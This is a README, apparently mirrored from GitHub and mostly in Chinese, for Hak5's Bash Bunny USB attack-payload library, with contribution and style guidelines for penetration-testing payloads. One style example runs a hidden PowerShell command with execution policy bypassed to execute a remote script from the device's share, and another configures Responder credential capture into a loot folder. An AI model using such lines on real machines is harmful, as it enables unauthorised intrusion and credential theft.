hak5/bashbunny-payloads

GitHub: hak5/bashbunny-payloads

Hak5 Bash Bunny USB 攻击硬件的官方社区 Payload 仓库,提供用 DuckyScript 和 Bash 编写的各类攻击载荷及扩展。

Stars: 2929 | Forks: 1480

# [Hak5](https://hak5.org) [Bash Bunny](https://shop.hak5.org/products/bash-bunny) 的 Payload 库 此仓库包含 Hak5 Bash Bunny 的 payload 和扩展。这里列出了社区开发的 payload,并鼓励开发者创建 pull request 来修改或提交新的 payload。 **此处的 payload 专门为 Bash Bunny 使用官方的 DuckyScript™ 和 Bash 编写。Hak5 不保证 payload 的功能。** 见法律与免责声明
     


View Featured Bash Bunny Payloads and Leaderboard
Get your payload in front of thousands. Enter to win over $2,000 in prizes in the Hak5 Payload Awards!

                       

# 目录
## 商店 - [Bash Bunny Mark II](https://shop.hak5.org/products/bash-bunny "Purchase the Bash Bunny") - [PayloadStudio Pro](https://hak5.org/products/payload-studio-pro "Purchase PayloadStudio Pro") - [购买所有 Hak5 工具](https://shop.hak5.org "Shop All Hak5 Tools") ## 入门 - [使用 PayloadStudio 构建 Payload](#build-your-payloads-with-payloadstudio) | [新手上路](https://docs.hak5.org/bash-bunny/beginner-guides/ "QUICK START GUIDE") | [你的第一个 Payload](https://docs.hak5.org/bash-bunny/writing-payloads/payload-development-basics) ## 文档 / 了解更多 - [文档](https://docs.hak5.org/bash-bunny/ "Documentation") ## 相关链接

Korben's Socials

Darren's Socials


关于 Bash Bunny

伪装成 USB 设备的 Linux 机器。通过模拟受信任 USB 设备的组合 —— 例如千兆以太网、串口、闪存盘和键盘 —— Bash Bunny 能够诱骗目标计算机泄露数据、窃取文档、安装后门以及执行更多攻击。




image

##
高级攻击
为了方便起见,计算机会信任许多设备。闪存盘、以太网适配器、串口设备和键盘就是其中的代表。这些已成为现代计算的主力军。每种设备都有其独特的攻击向量。如果将它们组合起来呢?可能性将是无限的。Bash Bunny 就是所有这些设备的集合 —— 无论是单独使用还是组合使用 —— 甚至更多!

image

##
简单的 PAYLOAD
每次攻击(即 payload)都是使用简单的 Ducky Script™ 语言编写而成的文本文件。这个仓库是不断增长的社区开发 payload 库的家园。只需从 git 下载文件,即可随时掌握所有最新攻击。然后,就像使用普通闪存盘一样,将它们加载到 Bash Bunny 上。

image

##
简约而强大的硬件
这是一台功能齐全的 Linux 设备,得益于优化的四核 CPU、桌面级 SSD 和翻倍的 RAM,现在运行你最喜欢的工具会更快。你可以通过选择开关和 RGB LED 来选择并监控 payload。通过专用的串口控制台访问已解锁的 root 终端。通过 MicroSD 窃取千兆级别的数据。甚至可以通过蓝牙远程触发或对 payload 进行地理围栏限制。

Build your payloads with PayloadStudio

Take your DuckyScript™ payloads to the next level with this full-featured, web-based (entirely client side) development environment.

Payload studio features all of the conveniences of a modern IDE, right from your browser. From syntax highlighting and auto-completion to live error-checking and repo synchronization - building payloads for Hak5 hotplug tools has never been easier!

Supports your favorite Hak5 gear - USB Rubber Ducky, Bash Bunny, Key Croc, Shark Jack, Packet Squirrel & LAN Turtle!


Become a PayloadStudio Pro and Unleash your hacking creativity!
OR
Try Community Edition FREE


Payload Studio Themes Preview GIF


Payload Studio Autocomplete Preview GIF

## 免责声明 通常情况下,payload 可能会在你的设备上执行命令。因此,payload 有可能会损坏你的设备。本仓库中的 payload 均“按原样”(AS-IS)提供,不含任何保证。尽管 Hak5 尽最大努力审查 payload,但对其有效性不作任何保证。与使用任何脚本一样,建议你谨慎操作。

贡献


View Featured Payloads and Leaderboard

# 提交 payload 时,请遵守以下最佳实践和风格指南。 开发完 payload 后,我们鼓励你通过提交 Pull Request 来为本仓库做贡献。经过审查和批准的 pull request 会将你的 payload 添加到此仓库中,并可能被公开。 请包含运行 payload 所需的所有资源。如有必要,请在 payload 目录的根目录下提供一个 README.md,以解释诸如预期用途、所需配置,或其他任何难以放在 payload.txt 注释中的内容。请确保你的 payload 已经过测试且没有错误。如果你的 payload 包含(或基于)他人的作品,请务必引用他们的工作并给予适当的署名。 ### 纯破坏性的 payload 将不予接受。不,这可不仅仅是个“恶作剧”。 本条款如有更改,恕不另行通知。请在提交 Pull Request 之前确保任何提交都符合这些标准的[最新版本](https://github.com/hak5/usbrubberducky-payloads/blob/master/README.md)。 ## 命名规范 请为你的 payload 起一个独特、具有描述性且合适的名称。不要在 payload、目录或文件名中使用空格。每个 payload 都应提交到各自的目录中,使用 `-` 或 `_` 代替空格,并归入相应的类别,例如 exfiltration(数据窃取)、phishing(网络钓鱼)、remote_access(远程访问)或 recon(侦察)。请勿自行创建类别。 ## 分阶段 Payload “分阶段 Payload (Staged payloads)” 是指 **下载** payload.txt 外部资源代码的 payload。 虽然在 payload 中使用分阶段代码通常是有用且合适的,但使用此 GitHub 仓库(或其他仓库)作为部署这些阶段的手段并不合适。本仓库 **不是用于在目标系统上进行部署的 CDN**。 分阶段代码应 **由最终用户** 复制并托管在适当的服务器上 —— GitHub 和此仓库仅用于在开发者和用户之间共享代码。 参见:[GitHub 可接受使用政策](https://docs.github.com/en/site-policy/acceptable-use-policies/github-acceptable-use-policies#5-site-access-and-safety) 此外,任何打算进行分阶段托管 **(由最终用户在适当的设备架构上)** 的源代码,都应包含在任何 payload 提交中,可以放在 payload 本身的注释中,也可以作为单独的文件。**不接受指向分阶段代码的链接**;这不仅是出于上述原因,也是出于版本控制和用户安全的考虑。隐藏在 payload 中通过 URL 指向的某个预定义外部资源背后的任意代码,可能会在未来的任何时候被替换,而用户对此一无所知 —— 这可能会将一个无害的 payload 变成危险的东西。 ### 包含 URL 在任何 payload 提交中,用于检索分阶段代码的 URL 应使用 bash 变量专门指向 **example.com** [请参阅下面的 Payload 配置部分](https://github.com/hak5/usbrubberducky-payloads/blob/master/README.md#payload-configuration)。 ### 分阶段示例 **场景示例:你的 payload 下载一个脚本,并在目标机器上执行它。** - 将该脚本包含在你的 payload 目录中 - 向用户提供说明,指示其将脚本移动到适当的托管服务上。 - 提供一个带有占位符 example.com 的 bash 变量,以便用户在托管脚本后能轻松进行配置 [此类 payload 的简单示例](https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/exfiltration/Printer-Recon) ## Payload 配置 请务必仔细考虑以下几点,以确保你的 payload 易于测试、使用和维护。 在许多情况下,payload 需要由最终用户进行一定程度的配置。 - 抽象配置以便于使用。尽可能使用 bash 赋值变量。 - 记住在 payload 的可配置部分使用占位符(PLACEHOLDERS)——不要分享你个人的 URL、API 密钥、密码等…… - 不应包含指向分阶段 payload 的 URL。URL 应替换为 example.com。提供说明,指导应如何在适当的基础架构上托管特定资源。 - 在 payload 顶部使用 bash 注释,或在适当的地方使用“内联(inline)”方式,注明 payload 中的必需(REQUIRED)和可选(OPTIONAL)配置。 ``` Example: BEGINNING OF PAYLOAD ... Payload Documentation... # CONFIGURATION # REQUIRED - Provide URL used for Example MY_TARGET_URL="example.com" # OPTIONAL - How long until payload starts; default 5s BOOT_DELAY="5000" QUACK DELAY $BOOT_DELAY ... QUACK STRING $MY_TARGET_URL ... ``` ## Payload 文档 Payload 应以 `#` bash 注释开头,指明 payload 的标题、作者、目标对象和简短描述。 ``` Example: BEGINNING OF PAYLOAD # Title: Example Payload # Author: Korben Dallas # Description: Opens hidden powershell and # Target: Windows 10 # Props: Hak5, Darren Kitchen, Korben # Version: 1.0 # Category: General ``` ### 二进制文件 本仓库可能不接受二进制文件。如果 payload 结合使用了二进制文件,请记录获取该文件或其源码的位置。 ### 配置选项 可配置选项应在 payload.txt 文件顶部的变量中指定 ``` # 选项 RESPONDER_OPTIONS="-w -r -d -P" LOOTDIR=/root/udisk/loot/quickcreds ``` ### LED payload 应尽可能使用通用的 payload 状态,而不是独特的颜色/模式组合,并在 Stage 或 ATTACKMODE 之前使用 LED 命令。 ``` # 初始化 LED SETUP GET SWITCH_POSITION GET HOST_IP # 攻击 LED ATTACK ATTACKMODE HID ECM_ETHERNET ``` ### 阶段与状态 阶段应使用注释进行记录 ``` # Keystroke Injection 阶段 # 运行隐藏的 powershell,并在可用时执行 \\172.16.64.1\s\s.ps1 GET HOST_IP LED STAGE1 ATTACKMODE HID RUN WIN "powershell -WindowStyle Hidden -Exec Bypass \"while (\$true) { If (Test-Connection $HOST_IP -count 1) { \\\\$HOST_IP\\s\\s.ps1; exit } }\"" ``` 通用的 payload 状态包括 `SETUP`(设置),如果不满足某些条件,可能还会包含 `FAIL`(失败)。这之后通常会是一个单一的 `ATTACK`(攻击)或多个 `STAGE`(阶段)。更复杂的 payload 可能包含一个 `SPECIAL`(特殊)功能,用于等待直到满足特定条件。payload 通常以 `CLEANUP`(清理)阶段结束,例如移动和删除文件或停止服务。当目标完成且设备可以安全弹出或关闭时,payload 可能会 `FINISH`(结束)。这些常见的 payload 状态与 `LED` 状态相对应。

法律

本仓库中的 payload 仅供教育目的使用。Hak5 设备仅用于授权的审计和安全分析目的,并须遵守适用的当地和国际法律。用户需对遵守当地所有法律负全部责任。Hak5 LLC 及其附属公司对未经授权或非法使用不承担任何责任。 Bash Bunny 和 DuckyScript 是 Hak5 LLC 的商标。版权所有 © 2010 Hak5 LLC。保留所有权利。未经版权所有者事先书面许可,不得以任何形式或任何方式复制或传播本作品的任何部分。 Bash Bunny 和 DuckyScript 受 Hak5 许可协议 (https://hak5.org/license) 约束 DuckyScript 是 Hak5 LLC 的知识产权,仅供 Hak5 LLC 及其被许可人受益。如需询问获得在你自己的项目中使用此材料的许可,请联系我们。请向 legal@hak5.org 报告假冒产品和品牌滥用行为。 本材料仅用于教育、授权的审计和分析目的,并须遵守适用的当地和国际法律。用户需对合规性负全部责任。Hak5 LLC 对未经授权或非法使用不承担任何责任。 Hak5 LLC 的产品和技术仅向符合 BIS 认可的许可证例外 ENC 优惠待遇的国家提供,依据美国 15 CFR 第 740 部分第 3 号补充规定。 另请参见: [Hak5 软件许可协议](https://shop.hak5.org/pages/software-license-agreement) [服务条款](https://shop.hak5.org/pages/terms-of-service) # 免责声明

与使用任何脚本一样,建议你谨慎操作。

通常情况下,payload 可能会在你的设备上执行命令。因此,payload 有可能会损坏你的设备。本仓库中的 payload 均按原样(AS-IS)提供,不含任何保证。尽管 Hak5 尽最大努力审查 payload,但对其有效性不作任何保证。

标签:Bash, DuckyScript, IP 地址批量处理, 安全硬件, 应用安全, 搜索语句(dork), 攻击载荷, 知识库安全, 网络信息收集, 自动化攻击, 近源渗透, 逆向工具